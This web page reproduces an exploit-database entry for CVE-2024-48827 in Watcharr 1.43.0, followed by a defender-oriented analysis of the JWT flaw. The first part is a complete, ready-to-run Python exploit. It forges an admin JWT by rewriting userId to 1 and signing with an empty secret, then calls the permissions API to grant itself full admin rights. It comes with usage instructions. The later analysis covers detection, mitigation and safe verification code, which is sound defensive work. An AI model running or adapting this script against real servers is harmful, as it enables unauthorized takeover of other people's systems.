Watcharr 1.43.0 - Remote Code Execution (RCE)

Exploit Author: Suphawith Phusanbai Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2025-04-06
# Exploit Title : Watcharr 1.43.0 - Remote Code Execution (RCE)
# CVE-2024-48827 exploit by Suphawith Phusanbai
# Affected Watcharr version 1.43.0 and below.
import argparse
import requests
import json
import jwt 
from pyfiglet import Figlet

f = Figlet(font='slant',width=100)
print(f.renderText('CVE-2024-48827'))

#store JWT token and UserID \ เก็บ token กับ UserID
jwt_token = None
user_id = None

#login to obtain JWT token / ล็อคอินเพื่อรับ JWT Token 
def login(host, port, username, password):
    url = f'http://{host}:{port}/api/auth/'
    #payload in login API request \ payload ใน json 
    payload = {
        'username': username,
        'password': password
    }

    headers = {
        'Content-Type': 'application/json'
    }
    #login to obtain JWT token \ ล็อคอินเพิ่อเก็บ JWT token แล้วใส่ใน jwt_token object
    try:
        response = requests.post(url, data=json.dumps(payload), headers=headers)
        if response.status_code == 200:
            token = response.json().get('token')
            if token:
                print(f"[+] SUCCESS! JWT Token: {token}")
                global jwt_token  
                jwt_token = token
                
                #decode JWT token and store UserID in UserID object \ ดีโค้ด JWT token แล้วเก็บค่า UserID ใส่ใน UserID object
                decoded_payload = jwt.decode(token, options={"verify_signature": False})
                global user_id
                user_id = decoded_payload.get('userId')  
                
                return token             
            else:
                print("[-] Check your password again!")
        else:
            print(f"[-] Failed :(")
            print(f"Response: {response.text}")
    except Exception as e:
        print(f"Error! HTTP response code: {e}")

#craft the admin token(to make this work you need to know admin username) \ สร้าง admin JWT token ขึ้นมาใหม่โดยใช้ token ที่ล็อคอิน
def create_new_jwt(original_token):
    try:
        decoded_payload = jwt.decode(original_token, options={"verify_signature": False})
        #userID = 1 is always the admin \ userID ลำดับที่ 1 คือ admin เสมอ
        decoded_payload['userId'] = 1
        new_token = jwt.encode(decoded_payload, '', algorithm='HS256')
        print(f"[+] New JWT Token: {new_token}")
        return new_token
    except Exception as e:
        print(f"[-] Failed to create new JWT: {e}")

#privilege escalation with the crafted JWT token \ PE โดยการใช้ crafted admin token 
def privilege_escalation(host, port, adminuser, token):
    #specify API endpoint for giving users admin role \ เรียกใช้งาน API สำหรับให้สิทธิ์ user admin
    url = f'http://{host}:{port}/api/server/users/{user_id}'

    # permission 3 givefull access privs you can also use 6 and 9 to gain partial admin privileges. \ ให้สิทธิ์ admin ทั้งหมดด้วย permission = 3 
    payload = {
        "permissions": 3
    }

    headers = {
        'Authorization': f'{token}',
        'Content-Type': 'application/json'
    }

    try:
        response = requests.post(url, data=json.dumps(payload), headers=headers)
        if response.status_code == 200:
            print(f"[+] Privilege Escalation Successful! The current user is now an admin!")
        else:
            print(f"[-] Failed to escalate privileges. Response: {response.text}")
    except Exception as e:
        print(f"Error during privilege escalation: {e}")


#exampl usage: python3 CVE-2024-48827.py -u dummy -p dummy -host 172.22.123.13 -port 3080 -adminuser admin
#usage
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Exploit CVE-2024-48827 to obtain JWT token and escalate privileges.')
    parser.add_argument('-host', '--host', type=str, help='Host or IP address', required=True)
    parser.add_argument('-port', '--port', type=int, help='Port', required=True, default=3080)
    parser.add_argument('-u', '--username', type=str, help='Username for login', required=True)
    parser.add_argument('-p', '--password', type=str, help='Password for login', required=True)
    parser.add_argument('-adminuser', '--adminuser', type=str, help='Admin username to escalate privileges', required=True)
    args = parser.parse_args()

    #step 1: login
    token = login(args.host, args.port, args.username, args.password)

    #step 2: craft the admin token
    if token:
        new_token = create_new_jwt(token)
        #step 3: Escalate privileges with crafted token. Enjoy!
        if new_token:
            privilege_escalation(args.host, args.port, args.adminuser, new_token)


Watcharr 1.43.0 — CVE-2024-48827: JWT-based Privilege Escalation and RCE Risk

This article analyzes CVE-2024-48827, a serious JWT handling vulnerability reported in Watcharr versions ≤ 1.43.0. It explains the root cause, attacker impact (privilege escalation and the potential for remote code execution (RCE)), detection and mitigation strategies, secure-coding fixes, and recommended operational controls. The coverage is written for defenders and engineers tasked with remediation and risk assessment; exploit-level step-by-step instructions are intentionally omitted.

Executive summary

  • Vulnerability class: Insecure JWT handling / authentication token trust.
  • CVE reference: CVE-2024-48827 (affecting Watcharr ≤ 1.43.0).
  • Primary impact: Privilege escalation — an authenticated non-administrative user can forge or manipulate JWTs to obtain administrative privileges.
  • Secondary impact: Once admin privileges are obtained, an attacker may be able to perform actions that lead to remote code execution (RCE) depending on exposed admin functionality (e.g., execution of scripts, configuration of runners, or ability to upload/execute files).
  • Core root cause: Unsafely trusting token contents without robust signature verification and/or allowing token algorithm/key confusion.

Vulnerability details (technical, non-actionable)

At a high level, the issue stems from the application accepting JWT values provided by a client without properly verifying the token signature or enforcing a secure signing policy. This can take several forms:

  • Decoding tokens without verifying signatures and then using the claims directly as authoritative (for example, using the userId claim to determine privileges).
  • Algorithm/key confusion: accepting tokens signed with a different algorithm than expected (or accepting unsigned tokens) and failing to validate that the algorithm matches server-side expectations.
  • Using weak or empty signing secrets, which makes it trivial for an attacker to forge a valid signature if the server does not strictly verify it.

When these conditions exist, an attacker who can obtain a valid token for any non-privileged account can craft or manipulate the token claims (e.g., changing userId to an administrative identifier) and present the modified token to the server. If the server does not verify the token signature or uses that unverified claim as a source of truth, the server may grant elevated permissions.

Why this leads to RCE in practice

Privilege escalation alone is often critical; with admin privileges, attackers can often reach functionality that allows arbitrary code execution or code injection. Examples of admin features that can lead to RCE if abused include:

  • Ability to configure or run server-side tasks, executors, or agents.
  • Ability to upload files, templates, or scripts that the application executes.
  • Ability to alter service configuration (e.g., specify commands, add webhooks that trigger scripts, or integrate external tooling).

Therefore, a JWT-based privilege escalation is frequently an important stepping-stone to achieving RCE. The exact path will depend on the product's admin surface; defenders should assume a high impact and act accordingly.

CVE metadata (summary)

ItemData
CVECVE-2024-48827
ProductWatcharr
Affected versions≤ 1.43.0
Vulnerability typeJWT signature validation / authentication/authorization weakness
ImpactPrivilege escalation; potential RCE via admin functions

High-level, non-actionable proof-of-concept summary

A minimal, conceptual attack chain (defender-focused summary): an attacker logs into the application with a normal account, obtains that account's JWT, modifies the claims (for example the identity/role claim) and presents the modified token to the application. Because the server either fails to validate the signature properly or accepts tokens signed with unexpected algorithms/keys, it treats the forged claim as legitimate and grants admin-level permissions. Once admin, the attacker abuses administrative endpoints to accomplish further objectives (data exfiltration, service disruption, or RCE).

Detection and triage

Operators should treat any sign of forged tokens or anomalous admin privilege assignments as high priority. Useful detection telemetry and checks include:

  • Log entries showing admin permission grants for accounts that rarely or never should be admins.
  • Authorization headers that contain unusual token algorithms or tokens that differ in size/structure from expected tokens.
  • Sudden changes in user activity patterns: a normal user performing admin-level API calls.
  • Failed signature verification events — ensure your auth middleware logs verification failures (and alert on high volume of such failures).
  • Any creation or modification of server configuration or execution tasks originating from non-admin IPs or accounts.

Example detection signatures (IDS/EDR)

  • Alert on POST/PUT to user/permissions APIs from accounts without previous admin role.
  • Alert on token verification skips or "accepted algorithm" changes in requests.
  • Monitor for Authorization headers that include Base64 payloads with an elevated role or userId that does not match the authenticated session mapping in the database.

Mitigation and remediation (immediate and long-term)

Remediation should be prioritized. Below are immediate actions and longer-term engineering fixes.

Immediate actions (operational)

  • Upgrade: apply the vendor patch or upgrade Watcharr to the fixed version as soon as available.
  • Limit exposure: restrict access to the application management interface (IP allow lists, VPN-only access) until patched.
  • Rotate secrets: if the application used a shared or exposed signing secret, rotate it and revoke existing sessions/tokens where practical.
  • Audit admin accounts and recent admin actions; assume compromise if unexpected changes are observed.

Secure coding and configuration fixes

Engineering teams should implement the following hardening measures:

  • Always verify JWT signature server-side using a strong, secret or asymmetric key. Never decode without verification for authentication/authorization decisions.
  • Explicitly validate and restrict acceptable signing algorithms (do not accept "none" and do not accept algorithm switching).
  • Use asymmetric signing (RS256/ES256) where appropriate — sign with a private key and verify with a public key on the service endpoints.
  • Do not use client-supplied claims as the sole source of truth for authorization. Map the token's subject (e.g., sub claim) to a server-side user record and validate role/permission from the server-side store.
  • Require standard JWT claims (iss, aud, exp) and validate them: issuer, audience, and expiration.
  • Principle of least privilege: admin APIs should perform extra checks and require additional MFA or privileged session tokens.
  • Implement robust logging for token verification failures and admin actions.

Safe example: verifying JWT signatures in Python (defensive code)

import jwt
from jwt import InvalidTokenError

# Server-side secret — must be strong, private, and rotated regularly
SECRET = "REPLACE_WITH_STRONG_SECRET"

def verify_token(token):
    try:
        # Explicitly specify allowed algorithms and require standard claims
        payload = jwt.decode(
            token,
            key=SECRET,
            algorithms=["HS256"],
            options={"require": ["exp", "iss", "aud"]}
        )
        # Map token subject (sub) to server-side user record and check DB for current role
        user_id = payload.get("sub")
        # Example: lookup_user_role(user_id) must be performed here
        return payload
    except InvalidTokenError as e:
        # Log verification failure with context (do NOT leak secrets)
        # Increment metrics/alerts for abnormal volume
        raise

Explanation: This code demonstrates correct server-side JWT verification using a shared secret (HS256). It explicitly specifies accepted algorithms, requires important claims (expiration, issuer, audience), and avoids using token claims alone for privilege grants. After successful verification, the server should map the token subject to authoritative role data in its database before allowing privileged actions.

Safe example: using asymmetric keys (RS256) for signing and verification

import jwt

# Signing uses a private key (keep offline and secure)
private_key_pem = """-----BEGIN PRIVATE KEY-----
... your private key ...
-----END PRIVATE KEY-----"""

# Verification uses the public key (distributed to service instances)
public_key_pem = """-----BEGIN PUBLIC KEY-----
... your public key ...
-----END PUBLIC KEY-----"""

def sign_admin_token(payload):
    # Sign with the private key using RS256
    token = jwt.encode(payload, private_key_pem, algorithm="RS256")
    return token

def verify_token_rs256(token):
    payload = jwt.decode(token, public_key_pem, algorithms=["RS256"],
                         options={"require": ["exp", "iss", "aud"]})
    return payload

Explanation: Asymmetric signing prevents an attacker from forging signatures even if they know the public key. The private key is used only for signing (e.g., by an auth server), and application instances use the public key to verify tokens. This avoids the risk of shared-secret leakage and is a stronger, recommended pattern for distributed systems.

Server-side authorization flow (do not trust client claims)

def authorize_request(token, requested_action):
    payload = verify_token(token)
    user_id = payload.get("sub")
    # Look up authoritative user record from database, not from token claims alone
    user = get_user_from_db(user_id)
    if not user:
        return False
    # Check server-side stored role/permissions
    if not has_permission(user, requested_action):
        return False
    return True

Explanation: This snippet highlights the correct authorization approach: verify token signature, then use the token's subject only to identify the user and consult a server-side authoritative store (the database) for role and permission decisions.

Operational recommendations

  • Apply vendor patches immediately and keep the application up to date.
  • Enable multi-factor authentication on all admin accounts.
  • Restrict admin interfaces behind VPNs or allowlists while patching is in progress.
  • Revoke or reissue tokens after key rotation and maintain session invalidation strategies for compromised sessions.
  • Implement rate limiting and anomaly detection around authentication endpoints.
  • Conduct a thorough audit of recent admin actions and file system changes; treat suspicious changes as potential compromise and follow incident response procedures.

Incident response checklist for suspected exploitation

  • Isolate affected instances from the network or move them into a controlled remediation network segment.
  • Collect logs (authentication, access, system logs) and preserve volatile evidence.
  • Rotate signing keys and revoke sessions/tokens.
  • Reset credentials for administrative users and require MFA.
  • Perform a full integrity check on binaries, scripts, and configuration files; look for unauthorized changes or newly introduced executables.
  • Engage forensics if you observe evidence of RCE or lateral movement.

Vendor guidance and disclosure best practices

  • Vendors should ship fixes that enforce proper verification of JWTs, disallow unsafe algorithms, and implement server-side role checks.
  • Provide signed release notes and PGP-signed artifacts so administrators can validate the authenticity of patches.
  • Publish CVE details and mitigation steps; include guidance on key rotation and recommended configuration changes.
  • Offer timelines and support for customers who need help detecting or recovering from exploitation.

Conclusion

CVE-2024-48827 is a critical reminder that JWT handling must be performed with strict verification and that authorization decisions should never rely solely on unverified client-supplied claims. Patching and immediate mitigations are essential; long-term fixes include robust signature verification, algorithm whitelisting, server-side authorization checks, and operational best practices (key rotation, logging, least privilege, and MFA). Treat all unexpected privilege assignments and suspicious admin activity as high-severity incidents and act quickly to contain and remediate.